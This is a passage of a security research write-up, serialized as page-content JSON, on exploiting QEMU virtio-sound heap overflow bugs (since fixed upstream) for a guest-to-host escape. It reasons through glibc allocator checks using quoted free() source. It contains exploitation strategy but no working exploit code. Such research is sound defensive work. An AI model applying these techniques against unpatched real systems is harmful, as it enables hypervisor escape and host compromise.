type":23,"tag":504,"props":124813,"children":124814},{"class":506,"line":1384},[124815,124819,124823,124828,124832,124836,124840,124844],{"type":23,"tag":504,"props":124816,"children":124817},{"style":529},[124818],{"type":28,"value":124605},{"type":23,"tag":504,"props":124820,"children":124821},{"style":523},[124822],{"type":28,"value":12738},{"type":23,"tag":504,"props":124824,"children":124825},{"style":529},[124826],{"type":28,"value":124827},"rate",{"type":23,"tag":504,"props":124829,"children":124830},{"style":598},[124831],{"type":28,"value":648},{"type":23,"tag":504,"props":124833,"children":124834},{"style":529},[124835],{"type":28,"value":124763},{"type":23,"tag":504,"props":124837,"children":124838},{"style":523},[124839],{"type":28,"value":12738},{"type":23,"tag":504,"props":124841,"children":124842},{"style":529},[124843],{"type":28,"value":124827},{"type":23,"tag":504,"props":124845,"children":124846},{"style":523},[124847],{"type":28,"value":866},{"type":23,"tag":504,"props":124849,"children":124850},{"class":506,"line":1392},[124851],{"type":23,"tag":504,"props":124852,"children":124853},{"emptyLinePlaceholder":16},[124854],{"type":28,"value":1038},{"type":23,"tag":504,"props":124856,"children":124857},{"class":506,"line":1400},[124858,124862,124867],{"type":23,"tag":504,"props":124859,"children":124860},{"style":544},[124861],{"type":28,"value":15968},{"type":23,"tag":504,"props":124863,"children":124864},{"style":517},[124865],{"type":28,"value":124866}," cpu_to_le32",{"type":23,"tag":504,"props":124868,"children":124869},{"style":523},[124870],{"type":28,"value":124871},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":504,"props":124873,"children":124874},{"class":506,"line":1422},[124875],{"type":23,"tag":504,"props":124876,"children":124877},{"style":523},[124878],{"type":28,"value":884},{"type":23,"tag":24,"props":124880,"children":124881},{},[124882,124884,124889,124891,124897,124899,124904,124906,124911,124913,124919,124920,124925],{"type":28,"value":124883},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":56,"props":124885,"children":124887},{"className":124886},[],[124888],{"type":28,"value":2397},{"type":28,"value":124890},") and signed (",{"type":23,"tag":56,"props":124892,"children":124894},{"className":124893},[],[124895],{"type":28,"value":124896},"s8",{"type":28,"value":124898},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":56,"props":124900,"children":124902},{"className":124901},[],[124903],{"type":28,"value":28421},{"type":28,"value":124905}," in ",{"type":23,"tag":56,"props":124907,"children":124909},{"className":124908},[],[124910],{"type":28,"value":2397},{"type":28,"value":124912},", but ",{"type":23,"tag":56,"props":124914,"children":124916},{"className":124915},[],[124917],{"type":28,"value":124918},"0x00",{"type":28,"value":124905},{"type":23,"tag":56,"props":124921,"children":124923},{"className":124922},[],[124924],{"type":28,"value":124896},{"type":28,"value":320},{"type":23,"tag":17774,"props":124927,"children":124928},{},[],{"type":23,"tag":24,"props":124930,"children":124931},{},[124932],{"type":28,"value":124933},"To summarize:",{"type":23,"tag":41,"props":124935,"children":124936},{},[124937,124956,124974],{"type":23,"tag":45,"props":124938,"children":124939},{},[124940,124942,124947,124949,124954],{"type":28,"value":124941},"an integer underflow in the ",{"type":23,"tag":56,"props":124943,"children":124945},{"className":124944},[],[124946],{"type":28,"value":123011},{"type":28,"value":124948}," calculation in ",{"type":23,"tag":56,"props":124950,"children":124952},{"className":124951},[],[124953],{"type":28,"value":122516},{"type":28,"value":124955},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":45,"props":124957,"children":124958},{},[124959,124961,124966,124967,124972],{"type":28,"value":124960},"a mismatch in the ",{"type":23,"tag":56,"props":124962,"children":124964},{"className":124963},[],[124965],{"type":28,"value":124243},{"type":28,"value":124948},{"type":23,"tag":56,"props":124968,"children":124970},{"className":124969},[],[124971],{"type":28,"value":124341},{"type":28,"value":124973},", leading to at most 8-byte OOB write",{"type":23,"tag":45,"props":124975,"children":124976},{},[124977,124979,124984,124986,124991,124993,124998],{"type":28,"value":124978},"a missing bound in the ",{"type":23,"tag":56,"props":124980,"children":124982},{"className":124981},[],[124983],{"type":28,"value":123011},{"type":28,"value":124985}," passed to ",{"type":23,"tag":56,"props":124987,"children":124989},{"className":124988},[],[124990],{"type":28,"value":124361},{"type":28,"value":124992},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":56,"props":124994,"children":124996},{"className":124995},[],[124997],{"type":28,"value":124384},{"type":28,"value":81040},{"type":23,"tag":24,"props":125000,"children":125001},{},[125002,125004,125009,125011,125016,125018,125024],{"type":28,"value":125003},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":56,"props":125005,"children":125007},{"className":125006},[],[125008],{"type":28,"value":124384},{"type":28,"value":125010},", but in our setup with the ALSA backend, ",{"type":23,"tag":56,"props":125012,"children":125014},{"className":125013},[],[125015],{"type":28,"value":124384},{"type":28,"value":125017}," was consistently around ",{"type":23,"tag":56,"props":125019,"children":125021},{"className":125020},[],[125022],{"type":28,"value":125023},"4096",{"type":28,"value":320},{"type":23,"tag":24,"props":125026,"children":125027},{},[125028,125030,125037,125038,125045],{"type":28,"value":125029},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":92,"props":125031,"children":125034},{"href":125032,"rel":125033},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[96],[125035],{"type":28,"value":125036},"commit 1",{"type":28,"value":576},{"type":23,"tag":92,"props":125039,"children":125042},{"href":125040,"rel":125041},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[96],[125043],{"type":28,"value":125044},"commit 2",{"type":28,"value":125046},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":70,"props":125048,"children":125049},{"id":98859},[125050],{"type":28,"value":98862},{"type":23,"tag":24,"props":125052,"children":125053},{},[125054],{"type":28,"value":125055},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":125057,"children":125058},{},[125059],{"type":28,"value":125060},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":82,"props":125062,"children":125064},{"id":125063},"achieving-a-better-primitive",[125065],{"type":28,"value":125066},"Achieving a Better Primitive",{"type":23,"tag":24,"props":125068,"children":125069},{},[125070],{"type":28,"value":125071},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":125073,"children":125074},{},[125075],{"type":28,"value":125076},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":125078,"children":125079},{},[125080],{"type":28,"value":125081},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":17874,"props":125083,"children":125085},{"id":125084},"glibc-allocator",[125086],{"type":28,"value":125087},"Glibc Allocator",{"type":23,"tag":24,"props":125089,"children":125090},{},[125091,125093,125100],{"type":28,"value":125092},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":92,"props":125094,"children":125097},{"href":125095,"rel":125096},"https://github.com/shellphish/how2heap",[96],[125098],{"type":28,"value":125099},"how2heap",{"type":28,"value":320},{"type":23,"tag":36323,"props":125102,"children":125104},{"id":125103},"chunk-layout-and-bins",[125105],{"type":28,"value":125106},"Chunk Layout and Bins",{"type":23,"tag":24,"props":125108,"children":125109},{},[125110],{"type":28,"value":125111},"A chunk looks like this:",{"type":23,"tag":494,"props":125113,"children":125115},{"code":125114},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[125116],{"type":23,"tag":56,"props":125117,"children":125118},{"__ignoreMap":7},[125119],{"type":28,"value":125114},{"type":23,"tag":24,"props":125121,"children":125122},{},[125123,125125,125131,125133,125139,125140,125145,125146,125152,125154,125159,125161,125166,125168,125174,125175,125181,125183,125189],{"type":28,"value":125124},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":56,"props":125126,"children":125128},{"className":125127},[],[125129],{"type":28,"value":125130},"prev_size",{"type":28,"value":125132}," field at offset ",{"type":23,"tag":56,"props":125134,"children":125136},{"className":125135},[],[125137],{"type":28,"value":125138},"0x0",{"type":28,"value":36526},{"type":23,"tag":56,"props":125141,"children":125143},{"className":125142},[],[125144],{"type":28,"value":123011},{"type":28,"value":125132},{"type":23,"tag":56,"props":125147,"children":125149},{"className":125148},[],[125150],{"type":28,"value":125151},"0x8",{"type":28,"value":125153},". As the name suggests, ",{"type":23,"tag":56,"props":125155,"children":125157},{"className":125156},[],[125158],{"type":28,"value":125130},{"type":28,"value":125160}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":56,"props":125162,"children":125164},{"className":125163},[],[125165],{"type":28,"value":123011},{"type":28,"value":125167}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":56,"props":125169,"children":125171},{"className":125170},[],[125172],{"type":28,"value":125173},"PREV_INUSE",{"type":28,"value":430},{"type":23,"tag":56,"props":125176,"children":125178},{"className":125177},[],[125179],{"type":28,"value":125180},"IS_MMAPPED",{"type":28,"value":125182}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":56,"props":125184,"children":125186},{"className":125185},[],[125187],{"type":28,"value":125188},"0x10",{"type":28,"value":320},{"type":23,"tag":24,"props":125191,"children":125192},{},[125193],{"type":28,"value":125194},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":36323,"props":125196,"children":125198},{"id":125197},"free-path",[125199],{"type":28,"value":125200},"free() path",{"type":23,"tag":24,"props":125202,"children":125203},{},[125204,125206,125212],{"type":28,"value":125205},"Let’s first look at the ",{"type":23,"tag":56,"props":125207,"children":125209},{"className":125208},[],[125210],{"type":28,"value":125211},"free()",{"type":28,"value":125213}," path in glibc 2.40:",{"type":23,"tag":494,"props":125215,"children":125217},{"code":125216,"language":2124,"meta":7,"className":15493,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[125218],{"type":23,"tag":56,"props":125219,"children":125220},{"__ignoreMap":7},[125221,125249,125256,125264,125272,125279,125301,125322,125329,125342,125349,125357,125364,125377,125384,125405,125426,125433],{"type":23,"tag":504,"props":125222,"children":125223},{"class":506,"line":507},[125224,125229,125233,125237,125241,125245],{"type":23,"tag":504,"props":125225,"children":125226},{"style":517},[125227],{"type":28,"value":125228},"__libc_free",{"type":23,"tag":504,"props":125230,"children":125231},{"style":523},[125232],{"type":28,"value":801},{"type":23,"tag":504,"props":125234,"children":125235},{"style":511},[125236],{"type":28,"value":50605},{"type":23,"tag":504,"props":125238,"children":125239},{"style":598},[125240],{"type":28,"value":8797},{"type":23,"tag":504,"props":125242,"children":125243},{"style":529},[125244],{"type":28,"value":39638},{"type":23,"tag":504,"props":125246,"children":125247},{"style":523},[125248],{"type":28,"value":1192},{"type":23,"tag":504,"props":125250,"children":125251},{"class":506,"line":540},[125252],{"type":23,"tag":504,"props":125253,"children":125254},{"style":523},[125255],{"type":28,"value":9862},{"type":23,"tag":504,"props":125257,"children":125258},{"class":506,"line":555},[125259],{"type":23,"tag":504,"props":125260,"children":125261},{"style":523},[125262],{"type":28,"value":125263},"  mstate ar_ptr;\n",{"type":23,"tag":504,"props":125265,"children":125266},{"class":506,"line":633},[125267],{"type":23,"tag":504,"props":125268,"children":125269},{"style":523},[125270],{"type":28,"value":125271},"  mchunkptr p;\n",{"type":23,"tag":504,"props":125273,"children":125274},{"class":506,"line":687},[125275],{"type":23,"tag":504,"props":125276,"children":125277},{"emptyLinePlaceholder":16},[125278],{"type":28,"value":1038},{"type":23,"tag":504,"props":125280,"children":125281},{"class":506,"line":736},[125282,125287,125291,125296],{"type":23,"tag":504,"props":125283,"children":125284},{"style":523},[125285],{"type":28,"value":125286},"  p ",{"type":23,"tag":504,"props":125288,"children":125289},{"style":598},[125290],{"type":28,"value":601},{"type":23,"tag":504,"props":125292,"children":125293},{"style":517},[125294],{"type":28,"value":125295}," mem2chunk",{"type":23,"tag":504,"props":125297,"children":125298},{"style":523},[125299],{"type":28,"value":125300}," (mem);\n",{"type":23,"tag":504,"props":125302,"children":125303},{"class":506,"line":785},[125304,125308,125312,125317],{"type":23,"tag":504,"props":125305,"children":125306},{"style":544},[125307],{"type":28,"value":30372},{"type":23,"tag":504,"props":125309,"children":125310},{"style":523},[125311],{"type":28,"value":801},{"type":23,"tag":504,"props":125313,"children":125314},{"style":517},[125315],{"type":28,"value":125316},"chunk_is_mmapped",{"type":23,"tag":504,"props":125318,"children":125319},{"style":523},[125320],{"type":28,"value":125321}," (p))\n",{"type":23,"tag":504,"props":125323,"children":125324},{"class":506,"line":813},[125325],{"type":23,"tag":504,"props":125326,"children":125327},{"style":523},[125328],{"type":28,"value":28168},{"type":23,"tag":504,"props":125330,"children":125331},{"class":506,"line":851},[125332,125337],{"type":23,"tag":504,"props":125333,"children":125334},{"style":517},[125335],{"type":28,"value":125336},"      munmap_chunk",{"type":23,"tag":504,"props":125338,"children":125339},{"style":523},[125340],{"type":28,"value":125341}," (p);\n",{"type":23,"tag":504,"props":125343,"children":125344},{"class":506,"line":869},[125345],{"type":23,"tag":504,"props":125346,"children":125347},{"style":523},[125348],{"type":28,"value":875},{"type":23,"tag":504,"props":125350,"children":125351},{"class":506,"line":878},[125352],{"type":23,"tag":504,"props":125353,"children":125354},{"style":544},[125355],{"type":28,"value":125356},"  else\n",{"type":23,"tag":504,"props":125358,"children":125359},{"class":506,"line":1221},[125360],{"type":23,"tag":504,"props":125361,"children":125362},{"style":523},[125363],{"type":28,"value":28168},{"type":23,"tag":504,"props":125365,"children":125366},{"class":506,"line":1276},[125367,125372],{"type":23,"tag":504,"props":125368,"children":125369},{"style":517},[125370],{"type":28,"value":125371},"      MAYBE_INIT_TCACHE",{"type":23,"tag":504,"props":125373,"children":125374},{"style":523},[125375],{"type":28,"value":125376}," ();\n",{"type":23,"tag":504,"props":125378,"children":125379},{"class":506,"line":1285},[125380],{"type":23,"tag":504,"props":125381,"children":125382},{"emptyLinePlaceholder":16},[125383],{"type":28,"value":1038},{"type":23,"tag":504,"props":125385,"children":125386},{"class":506,"line":1294},[125387,125392,125396,125401],{"type":23,"tag":504,"props":125388,"children":125389},{"style":523},[125390],{"type":28,"value":125391},"      ar_ptr ",{"type":23,"tag":504,"props":125393,"children":125394},{"style":598},[125395],{"type":28,"value":601},{"type":23,"tag":504,"props":125397,"children":125398},{"style":517},[125399],{"type":28,"value":125400}," arena_for_chunk",{"type":23,"tag":504,"props":125402,"children":125403},{"style":523},[125404],{"type":28,"value":125341},{"type":23,"tag":504,"props":125406,"children":125407},{"class":506,"line":1302},[125408,125413,125418,125422],{"type":23,"tag":504,"props":125409,"children":125410},{"style":517},[125411],{"type":28,"value":125412},"      _int_free",{"type":23,"tag":504,"props":125414,"children":125415},{"style":523},[125416],{"type":28,"value":125417}," (ar_ptr, p, ",{"type":23,"tag":504,"props":125419,"children":125420},{"style":1440},[125421],{"type":28,"value":3001},{"type":23,"tag":504,"props":125423,"children":125424},{"style":523},[125425],{"type":28,"value":630},{"type":23,"tag":504,"props":125427,"children":125428},{"class":506,"line":1311},[125429],{"type":23,"tag":504,"props":125430,"children":125431},{"style":523},[125432],{"type":28,"value":875},{"type":23,"tag":504,"props":125434,"children":125435},{"class":506,"line":1334},[125436],{"type":23,"tag":504,"props":125437,"children":125438},{"style":523},[125439],{"type":28,"value":884},{"type":23,"tag":24,"props":125441,"children":125442},{},[125443,125445,125450,125452,125457,125459,125465,125467,125473,125475,125480,125482,125487,125489,125494,125496,125501],{"type":28,"value":125444},"We can see that if the ",{"type":23,"tag":56,"props":125446,"children":125448},{"className":125447},[],[125449],{"type":28,"value":125180},{"type":28,"value":125451}," bit is set in the corrupted ",{"type":23,"tag":56,"props":125453,"children":125455},{"className":125454},[],[125456],{"type":28,"value":123011},{"type":28,"value":125458}," field, glibc will call ",{"type":23,"tag":56,"props":125460,"children":125462},{"className":125461},[],[125463],{"type":28,"value":125464},"munmap_chunk",{"type":28,"value":125466},", which internally checks that ",{"type":23,"tag":56,"props":125468,"children":125470},{"className":125469},[],[125471],{"type":28,"value":125472},"prev_size + size",{"type":28,"value":125474}," is page-aligned. To reach the ",{"type":23,"tag":56,"props":125476,"children":125478},{"className":125477},[],[125479],{"type":28,"value":123011},{"type":28,"value":125481}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":56,"props":125483,"children":125485},{"className":125484},[],[125486],{"type":28,"value":125130},{"type":28,"value":125488}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":56,"props":125490,"children":125492},{"className":125491},[],[125493],{"type":28,"value":125472},{"type":28,"value":125495}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":56,"props":125497,"children":125499},{"className":125498},[],[125500],{"type":28,"value":125180},{"type":28,"value":125502}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":125504,"children":125505},{},[125506,125508,125513,125515,125521],{"type":28,"value":125507},"Assuming ",{"type":23,"tag":56,"props":125509,"children":125511},{"className":125510},[],[125512],{"type":28,"value":125180},{"type":28,"value":125514}," is not set, execution continues into ",{"type":23,"tag":56,"props":125516,"children":125518},{"className":125517},[],[125519],{"type":28,"value":125520},"_int_free",{"type":28,"value":3472},{"type":23,"tag":494,"props":125523,"children":125525},{"code":125524,"language":2124,"meta":7,"className":15493,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[125526],{"type":23,"tag":56,"props":125527,"children":125528},{"__ignoreMap":7},[125529,125541,125584,125591,125599,125606,125627,125634,125642,125650,125658,125666,125730,125765,125786,125794,125802,125850,125870,125877,125890,125897],{"type":23,"tag":504,"props":125530,"children":125531},{"class":506,"line":507},[125532,125536],{"type":23,"tag":504,"props":125533,"children":125534},{"style":511},[125535],{"type":28,"value":50023},{"type":23,"tag":504,"props":125537,"children":125538},{"style":511},[125539],{"type":28,"value":125540}," void\n",{"type":23,"tag":504,"props":125542,"children":125543},{"class":506,"line":540},[125544,125548,125553,125558,125563,125567,125571,125575,125580],{"type":23,"tag":504,"props":125545,"children":125546},{"style":517},[125547],{"type":28,"value":125520},{"type":23,"tag":504,"props":125549,"children":125550},{"style":523},[125551],{"type":28,"value":125552}," (mstate ",{"type":23,"tag":504,"props":125554,"children":125555},{"style":529},[125556],{"type":28,"value":125557},"av",{"type":23,"tag":504,"props":125559,"children":125560},{"style":523},[125561],{"type":28,"value":125562},", mchunkptr ",{"type":23,"tag":504,"props":125564,"children":125565},{"style":529},[125566],{"type":28,"value":24},{"type":23,"tag":504,"props":125568,"children":125569},{"style":523},[125570],{"type":28,"value":576},{"type":23,"tag":504,"props":125572,"children":125573},{"style":511},[125574],{"type":28,"value":18028},{"type":23,"tag":504,"props":125576,"children":125577},{"style":529},[125578],{"type":28,"value":125579}," have_lock",{"type":23,"tag":504,"props":125581,"children":125582},{"style":523},[125583],{"type":28,"value":1192},{"type":23,"tag":504,"props":125585,"children":125586},{"class":506,"line":555},[125587],{"type":23,"tag":504,"props":125588,"children":125589},{"style":523},[125590],{"type":28,"value":9862},{"type":23,"tag":504,"props":125592,"children":125593},{"class":506,"line":633},[125594],{"type":23,"tag":504,"props":125595,"children":125596},{"style":523},[125597],{"type":28,"value":125598},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":504,"props":125600,"children":125601},{"class":506,"line":687},[125602],{"type":23,"tag":504,"props":125603,"children":125604},{"emptyLinePlaceholder":16},[125605],{"type":28,"value":1038},{"type":23,"tag":504,"props":125607,"children":125608},{"class":506,"line":736},[125609,125614,125618,125623],{"type":23,"tag":504,"props":125610,"children":125611},{"style":523},[125612],{"type":28,"value":125613},"  size ",{"type":23,"tag":504,"props":125615,"children":125616},{"style":598},[125617],{"type":28,"value":601},{"type":23,"tag":504,"props":125619,"children":125620},{"style":517},[125621],{"type":28,"value":125622}," chunksize",{"type":23,"tag":504,"props":125624,"children":125625},{"style":523},[125626],{"type":28,"value":125341},{"type":23,"tag":504,"props":125628,"children":125629},{"class":506,"line":785},[125630],{"type":23,"tag":504,"props":125631,"children":125632},{"emptyLinePlaceholder":16},[125633],{"type":28,"value":1038},{"type":23,"tag":504,"props":125635,"children":125636},{"class":506,"line":813},[125637],{"type":23,"tag":504,"props":125638,"children":125639},{"style":1106},[125640],{"type":28,"value":125641},"  /* Little security check which won't hurt performance: the\n",{"type":23,"tag":504,"props":125643,"children":125644},{"class":506,"line":851},[125645],{"type":23,"tag":504,"props":125646,"children":125647},{"style":1106},[125648],{"type":28,"value":125649},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":504,"props":125651,"children":125652},{"class":506,"line":869},[125653],{"type":23,"tag":504,"props":125654,"children":125655},{"style":1106},[125656],{"type":28,"value":125657},"     Therefore we can exclude some size values which might appear\n",{"type":23,"tag":504,"props":125659,"children":125660},{"class":506,"line":878},[125661],{"type":23,"tag":504,"props":125662,"children":125663},{"style":1106},[125664],{"type":28,"value":125665},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":504,"props":125667,"children":125668},{"class":506,"line":1221},[125669,125673,125677,125682,125687,125692,125697,125701,125705,125709,125713,125717,125722,125726],{"type":23,"tag":504,"props":125670,"children":125671},{"style":544},[125672],{"type":28,"value":30372},{"type":23,"tag":504,"props":125674,"children":125675},{"style":523},[125676],{"type":28,"value":801},{"type":23,"tag":504,"props":125678,"children":125679},{"style":517},[125680],{"type":28,"value":125681},"__builtin_expect",{"type":23,"tag":504,"props":125683,"children":125684},{"style":523},[125685],{"type":28,"value":125686}," ((",{"type":23,"tag":504,"props":125688,"children":125689},{"style":511},[125690],{"type":28,"value":125691},"uintptr_t",{"type":23,"tag":504,"props":125693,"children":125694},{"style":523},[125695],{"type":28,"value":125696},") p ",{"type":23,"tag":504,"props":125698,"children":125699},{"style":598},[125700],{"type":28,"value":9443},{"type":23,"tag":504,"props":125702,"children":125703},{"style":523},[125704],{"type":28,"value":801},{"type":23,"tag":504,"props":125706,"children":125707},{"style":511},[125708],{"type":28,"value":125691},{"type":23,"tag":504,"props":125710,"children":125711},{"style":523},[125712],{"type":28,"value":2064},{"type":23,"tag":504,"props":125714,"children":125715},{"style":598},[125716],{"type":28,"value":3308},{"type":23,"tag":504,"props":125718,"children":125719},{"style":523},[125720],{"type":28,"value":125721},"size, ",{"type":23,"tag":504,"props":125723,"children":125724},{"style":1440},[125725],{"type":28,"value":3001},{"type":23,"tag":504,"props":125727,"children":125728},{"style":523},[125729],{"type":28,"value":1192},{"type":23,"tag":504,"props":125731,"children":125732},{"class":506,"line":1276},[125733,125738,125743,125747,125752,125757,125761],{"type":23,"tag":504,"props":125734,"children":125735},{"style":598},[125736],{"type":28,"value":125737},"      ||",{"type":23,"tag":504,"props":125739,"children":125740},{"style":517},[125741],{"type":28,"value":125742}," __builtin_expect",{"type":23,"tag":504,"props":125744,"children":125745},{"style":523},[125746],{"type":28,"value":801},{"type":23,"tag":504,"props":125748,"children":125749},{"style":517},[125750],{"type":28,"value":125751},"misaligned_chunk",{"type":23,"tag":504,"props":125753,"children":125754},{"style":523},[125755],{"type":28,"value":125756}," (p), ",{"type":23,"tag":504,"props":125758,"children":125759},{"style":1440},[125760],{"type":28,"value":3001},{"type":23,"tag":504,"props":125762,"children":125763},{"style":523},[125764],{"type":28,"value":18694},{"type":23,"tag":504,"props":125766,"children":125767},{"class":506,"line":1285},[125768,125773,125777,125782],{"type":23,"tag":504,"props":125769,"children":125770},{"style":517},[125771],{"type":28,"value":125772},"    malloc_printerr",{"type":23,"tag":504,"props":125774,"children":125775},{"style":523},[125776],{"type":28,"value":801},{"type":23,"tag":504,"props":125778,"children":125779},{"style":622},[125780],{"type":28,"value":125781},"\"free(): invalid pointer\"",{"type":23,"tag":504,"props":125783,"children":125784},{"style":523},[125785],{"type":28,"value":630},{"type":23,"tag":504,"props":125787,"children":125788},{"class":506,"line":1294},[125789],{"type":23,"tag":504,"props":125790,"children":125791},{"style":1106},[125792],{"type":28,"value":125793},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":504,"props":125795,"children":125796},{"class":506,"line":1302},[125797],{"type":23,"tag":504,"props":125798,"children":125799},{"style":1106},[125800],{"type":28,"value":125801},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":504,"props":125803,"children":125804},{"class":506,"line":1311},[125805,125809,125813,125818,125823,125827,125832,125836,125840,125845],{"type":23,"tag":504,"props":125806,"children":125807},{"style":544},[125808],{"type":28,"value":30372},{"type":23,"tag":504,"props":125810,"children":125811},{"style":523},[125812],{"type":28,"value":801},{"type":23,"tag":504,"props":125814,"children":125815},{"style":517},[125816],{"type":28,"value":125817},"__glibc_unlikely",{"type":23,"tag":504,"props":125819,"children":125820},{"style":523},[125821],{"type":28,"value":125822}," (size ",{"type":23,"tag":504,"props":125824,"children":125825},{"style":598},[125826],{"type":28,"value":4789},{"type":23,"tag":504,"props":125828,"children":125829},{"style":523},[125830],{"type":28,"value":125831}," MINSIZE ",{"type":23,"tag":504,"props":125833,"children":125834},{"style":598},[125835],{"type":28,"value":21400},{"type":23,"tag":504,"props":125837,"children":125838},{"style":598},[125839],{"type":28,"value":11845},{"type":23,"tag":504,"props":125841,"children":125842},{"style":517},[125843],{"type":28,"value":125844},"aligned_OK",{"type":23,"tag":504,"props":125846,"children":125847},{"style":523},[125848],{"type":28,"value":125849}," (size)))\n",{"type":23,"tag":504,"props":125851,"children":125852},{"class":506,"line":1334},[125853,125857,125861,125866],{"type":23,"tag":504,"props":125854,"children":125855},{"style":517},[125856],{"type":28,"value":125772},{"type":23,"tag":504,"props":125858,"children":125859},{"style":523},[125860],{"type":28,"value":801},{"type":23,"tag":504,"props":125862,"children":125863},{"style":622},[125864],{"type":28,"value":125865},"\"free(): invalid size\"",{"type":23,"tag":504,"props":125867,"children":125868},{"style":523},[125869],{"type":28,"value":630},{"type":23,"tag":504,"props":125871,"children":125872},{"class":506,"line":1370},[125873],{"type":23,"tag":504,"props":125874,"children":125875},{"emptyLinePlaceholder":16},[125876],{"type":28,"value":1038},{"type":23,"tag":504,"props":125878,"children":125879},{"class":506,"line":1384},[125880,125885],{"type":23,"tag":504,"props":125881,"children":125882},{"style":517},[125883],{"type":28,"value":125884},"  check_inuse_chunk",{"type":23,"tag":504,"props":125886,"children":125887},{"style":523},[125888],{"type":28,"value":125889},"(av, p);\n",{"type":23,"tag":504,"props":125891,"children":125892},{"class":506,"line":1392},[125893],{"type":23,"tag":504,"props":125894,"children":125895},{"emptyLinePlaceholder":16},[125896],{"type":28,"value":1038},{"type":23,"tag":504,"props":125898,"children":125899},{"class":506,"line":1400},[125900],{"type":23,"tag":504,"props":125901,"children":125902},{"style":523},[125903],{"type":28,"value":125904},"  [...]\n",{"type":23,"tag":24,"props":125906,"children":125907},{},[125908],{"type":28,"value":125909},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":125911,"children":125912},{},[125913,125915,125920,125922,125927,125929,125934,125936,125941],{"type":28,"value":125914},"The next check, however, ensures that the ",{"type":23,"tag":56,"props":125916,"children":125918},{"className":125917},[],[125919],{"type":28,"value":123011},{"type":28,"value":125921}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":56,"props":125923,"children":125925},{"className":125924},[],[125926],{"type":28,"value":123011},{"type":28,"value":125928}," must preserve alignment while also avoiding the ",{"type":23,"tag":56,"props":125930,"children":125932},{"className":125931},[],[125933],{"type":28,"value":125180},{"type":28,"value":125935}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":56,"props":125937,"children":125939},{"className":125938},[],[125940],{"type":28,"value":123011},{"type":28,"value":125942}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":125944,"children":125945},{},[125946],{"type":28,"value":125947},"Still, we wanted to check how this behaved in the latest glibc 